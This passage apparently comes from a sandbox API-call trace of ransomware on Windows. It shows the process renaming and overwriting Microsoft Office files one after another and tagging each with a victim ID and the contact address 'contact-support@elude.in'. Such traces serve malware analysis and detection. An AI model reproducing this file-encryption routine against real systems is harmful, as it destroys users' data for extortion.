(in: hFile=0x5e4, lpBuffer=0x740fbe0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x740fbe0*, lpNumberOfBytesWritten=0x2ffff0c*=0xb400, lpOverlapped=0x0) returned 1 [0190.461] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.461] WriteFile (in: hFile=0x5e4, lpBuffer=0x741afdf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x741afdf*, lpNumberOfBytesWritten=0x2ffff0c*=0x20, lpOverlapped=0x0) returned 1 [0190.473] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.473] WriteFile (in: hFile=0x5e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x2ffff0c*=0x4, lpOverlapped=0x0) returned 1 [0190.473] CloseHandle (hObject=0x5e4) returned 1 [0190.473] GetProcessHeap () returned 0x630000 [0190.473] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x740fbe0 | out: hHeap=0x630000) returned 1 [0190.474] GetProcessHeap () returned 0x630000 [0190.474] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7045170 | out: hHeap=0x630000) returned 1 [0190.474] GetProcessHeap () returned 0x630000 [0190.475] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317fe0 | out: hHeap=0x630000) returned 1 [0190.475] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0190.475] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookAddr.nrr.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffcc4 | out: lpFindFileData=0x2fffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaebc65e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaebc65e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x377a01ec, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x3d9e8, dwReserved0=0xdd07496, dwReserved1=0x778915ca, cFileName="TellMeOutlookAddr.nrr.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TE51CC~1.FIR")) returned 0x6d5240 [0190.475] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0190.475] Sleep (dwMilliseconds=0x1) [0190.489] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.ico", len=0x38 | out: pbstr=0x2ffff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.ico") returned 1 [0190.489] GetProcessHeap () returned 0x630000 [0190.489] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74656a8, Size=0x3298) returned 0x74656a8 [0190.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.ico" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lync.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0190.494] CloseHandle (hObject=0x640) returned 1 [0190.495] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0190.495] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.ico" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lync.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.ico.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lync.ico.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0190.502] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0190.502] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.ico.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffc6c | out: lpFindFileData=0x2fffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x56d17f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x286c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="lync.ico.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LYNCIC~1.FIR")) returned 0x6d54c0 [0190.503] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0190.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.ico.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lync.ico.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0190.511] GetProcessHeap () returned 0x630000 [0190.511] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6fdcf38 [0190.511] GetProcessHeap () returned 0x630000 [0190.511] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x717648 [0190.512] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.512] ReadFile (in: hFile=0x640, lpBuffer=0x6fdcf38, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fdcf38*, lpNumberOfBytesRead=0x2ffff0c*=0xb400, lpOverlapped=0x0) returned 1 [0195.261] GetProcessHeap () returned 0x630000 [0195.261] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317ec8 [0195.261] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.261] WriteFile (in: hFile=0x640, lpBuffer=0x717648*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x717648*, lpNumberOfBytesWritten=0x2ffff0c*=0xb400, lpOverlapped=0x0) returned 1 [0195.293] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.293] WriteFile (in: hFile=0x640, lpBuffer=0x722a47*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x722a47*, lpNumberOfBytesWritten=0x2ffff0c*=0x20, lpOverlapped=0x0) returned 1 [0195.294] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.294] WriteFile (in: hFile=0x640, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x2ffff0c*=0x4, lpOverlapped=0x0) returned 1 [0195.294] CloseHandle (hObject=0x640) returned 1 [0195.294] GetProcessHeap () returned 0x630000 [0195.294] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717648 | out: hHeap=0x630000) returned 1 [0195.295] GetProcessHeap () returned 0x630000 [0195.295] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fdcf38 | out: hHeap=0x630000) returned 1 [0195.295] GetProcessHeap () returned 0x630000 [0195.295] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317ec8 | out: hHeap=0x630000) returned 1 [0196.293] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0196.294] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.ico.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffcc4 | out: lpFindFileData=0x2fffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3a5b329b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x286ed, dwReserved0=0xdd07496, dwReserved1=0x6fdcf30, cFileName="lync.ico.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LYNCIC~1.FIR")) returned 0x6d5000 [0196.294] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0196.294] Sleep (dwMilliseconds=0x1) [0196.325] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Details.accdt", len=0x4f | out: pbstr=0x2ffff7c*="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Details.accdt") returned 1 [0196.325] GetProcessHeap () returned 0x630000 [0196.325] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x476c) returned 0x7133a90 [0196.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Details.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\details.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0196.715] CloseHandle (hObject=0x718) returned 1 [0196.716] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0196.716] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Details.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\details.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Details.accdt.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\details.accdt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0196.716] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0196.717] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Details.accdt.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffc6c | out: lpFindFileData=0x2fffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb655e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb655e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb655e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4a14, dwReserved0=0x780065, dwReserved1=0x6d0033, cFileName="Details.accdt.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DETAIL~1.FIR")) returned 0x6d5000 [0196.717] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0196.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Details.accdt.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\details.accdt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0196.717] GetProcessHeap () returned 0x630000 [0196.717] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4a21) returned 0x7393dd0 [0196.718] GetProcessHeap () returned 0x630000 [0196.718] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4a21) returned 0x7398800 [0196.718] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.718] ReadFile (in: hFile=0x718, lpBuffer=0x7393dd0, nNumberOfBytesToRead=0x4a00, lpNumberOfBytesRead=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x7393dd0*, lpNumberOfBytesRead=0x2ffff0c*=0x4a00, lpOverlapped=0x0) returned 1 [0198.792] GetProcessHeap () returned 0x630000 [0198.792] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318ad0 [0198.792] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.792] WriteFile (in: hFile=0x718, lpBuffer=0x7398800*, nNumberOfBytesToWrite=0x4a00, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x7398800*, lpNumberOfBytesWritten=0x2ffff0c*=0x4a00, lpOverlapped=0x0) returned 1 [0198.792] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.792] WriteFile (in: hFile=0x718, lpBuffer=0x739d1ff*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x739d1ff*, lpNumberOfBytesWritten=0x2ffff0c*=0x20, lpOverlapped=0x0) returned 1 [0198.792] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.792] WriteFile (in: hFile=0x718, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x2ffff0c*=0x4, lpOverlapped=0x0) returned 1 [0198.793] CloseHandle (hObject=0x718) returned 1 [0198.793] GetProcessHeap () returned 0x630000 [0198.793] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7398800 | out: hHeap=0x630000) returned 1 [0198.793] GetProcessHeap () returned 0x630000 [0198.793] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7393dd0 | out: hHeap=0x630000) returned 1 [0198.793] GetProcessHeap () returned 0x630000 [0198.793] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318ad0 | out: hHeap=0x630000) returned 1 [0198.793] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0198.793] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Details.accdt.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffcc4 | out: lpFindFileData=0x2fffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb655e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb655e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3c6effba, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4a38, dwReserved0=0xdd07496, dwReserved1=0x7393dc8, cFileName="Details.accdt.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DETAIL~1.FIR")) returned 0x6d4f00 [0198.793] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0198.794] Sleep (dwMilliseconds=0x1) [0201.100] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\sqlpdw.xsl", len=0x7a | out: pbstr=0x2ffff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\sqlpdw.xsl") returned 1 [0201.100] GetProcessHeap () returned 0x630000 [0201.100] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4c08) returned 0x7133a90 [0201.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\sqlpdw.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\sqlpdw.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0201.102] CloseHandle (hObject=0x6a4) returned 1 [0201.102] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0201.102] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\sqlpdw.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\sqlpdw.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\sqlpdw.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\sqlpdw.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0201.103] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0201.103] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\sqlpdw.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffc6c | out: lpFindFileData=0x2fffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24d4a13c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24d4a13c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24d70354, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1393e, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="sqlpdw.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SQLPDW~1.FIR")) returned 0x6d4e00 [0201.103] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0201.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\sqlpdw.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\sqlpdw.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0201.103] GetProcessHeap () returned 0x630000 [0201.103] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70e4500 [0201.103] GetProcessHeap () returned 0x630000 [0201.104] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x711d230 [0201.104] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.104] ReadFile (in: hFile=0x6a4, lpBuffer=0x70e4500, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x70e4500*, lpNumberOfBytesRead=0x2ffff0c*=0xb400, lpOverlapped=0x0) returned 1 [0209.351] GetProcessHeap () returned 0x630000 [0209.351] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318be8 [0209.352] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.352] WriteFile (in: hFile=0x6a4, lpBuffer=0x711d230*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x711d230*, lpNumberOfBytesWritten=0x2ffff0c*=0xb400, lpOverlapped=0x0) returned 1 [0209.352] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.352] WriteFile (in: hFile=0x6a4, lpBuffer=0x712862f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x712862f*, lpNumberOfBytesWritten=0x2ffff0c*=0x20, lpOverlapped=0x0) returned 1 [0209.352] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.352] WriteFile (in: hFile=0x6a4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x2ffff0c*=0x4, lpOverlapped=0x0) returned 1 [0209.352] CloseHandle (hObject=0x6a4) returned 1 [0209.353] GetProcessHeap () returned 0x630000 [0209.353] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x711d230 | out: hHeap=0x630000) returned 1 [0209.353] GetProcessHeap () returned 0x630000 [0209.353] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70e4500 | out: hHeap=0x630000) returned 1 [0209.353] GetProcessHeap () returned 0x630000 [0209.354] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318be8 | out: hHeap=0x630000) returned 1 [0209.354] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0209.354] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\sqlpdw.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffcc4 | out: lpFindFileData=0x2fffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24d4a13c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24d4a13c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x42ba3950, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x13962, dwReserved0=0xdd07496, dwReserved1=0x70e44f8, cFileName="sqlpdw.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SQLPDW~1.FIR")) returned 0x6d4f00 [0209.354] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0209.354] Sleep (dwMilliseconds=0x1) [0211.181] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX", len=0x70 | out: pbstr=0x2ffff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX") returned 1 [0211.181] GetProcessHeap () returned 0x630000 [0211.181] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4e48) returned 0x6fe4288 [0211.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e8 [0211.182] CloseHandle (hObject=0x6e8) returned 1 [0211.183] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0211.183] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0211.184] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0211.184] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffc6c | out: lpFindFileData=0x2fffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5f6e784, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x5f6e784, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x62dbd7b, 